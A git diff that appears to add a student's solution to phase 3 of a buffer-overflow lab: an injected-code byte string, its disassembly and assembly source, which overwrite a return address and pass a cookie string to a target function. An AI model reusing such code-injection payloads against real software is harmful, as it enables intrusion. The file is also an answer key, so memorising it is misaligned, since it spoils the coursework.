diff --git a/target66/phase_3.txt b/target66/phase_3.txt new file mode 100644 index 0000000..4fa24a0 --- /dev/null +++ b/target66/phase_3.txt @@ -0,0 +1,6 @@ +48 c7 c7 78 1b 62 55 48 +ba c0 1b 40 55 55 55 00 +00 52 c3 00 00 00 00 00 +58 1b 62 55 00 00 00 00 +33 65 38 64 65 65 38 66 +00 diff --git a/target66/phase_3_assembly.d b/target66/phase_3_assembly.d new file mode 100644 index 0000000..be7990a --- /dev/null +++ b/target66/phase_3_assembly.d @@ -0,0 +1,12 @@ + +phase_3_assembly.o: 文件格式 elf64-x86-64 + + +Disassembly of section .text: + +0000000000000000 <.text>: + 0: 48 c7 c7 78 1b 62 55 mov $0x55621b78,%rdi + 7: 48 ba c0 1b 40 55 55 movabs $0x555555401bc0,%rdx + e: 55 00 00 + 11: 52 push %rdx + 12: c3 ret diff --git a/target66/phase_3_assembly.o b/target66/phase_3_assembly.o new file mode 100644 index 0000000..c83e908 Binary files /dev/null and b/target66/phase_3_assembly.o differ diff --git a/target66/phase_3_assembly.s b/target66/phase_3_assembly.s new file mode 100644 index 0000000..f5dbdbe --- /dev/null +++ b/target66/phase_3_assembly.s @@ -0,0 +1,4 @@ +movq $0x55621b78,%rdi +movq $0x0000555555401bc0,%rdx +push %rdx +ret diff --git a/target66/phase_3_raw.txt b/target66/phase_3_raw.txt new file mode 100644 index 0000000..b744f64 Binary files /dev/null and b/target66/phase_3_raw.txt differ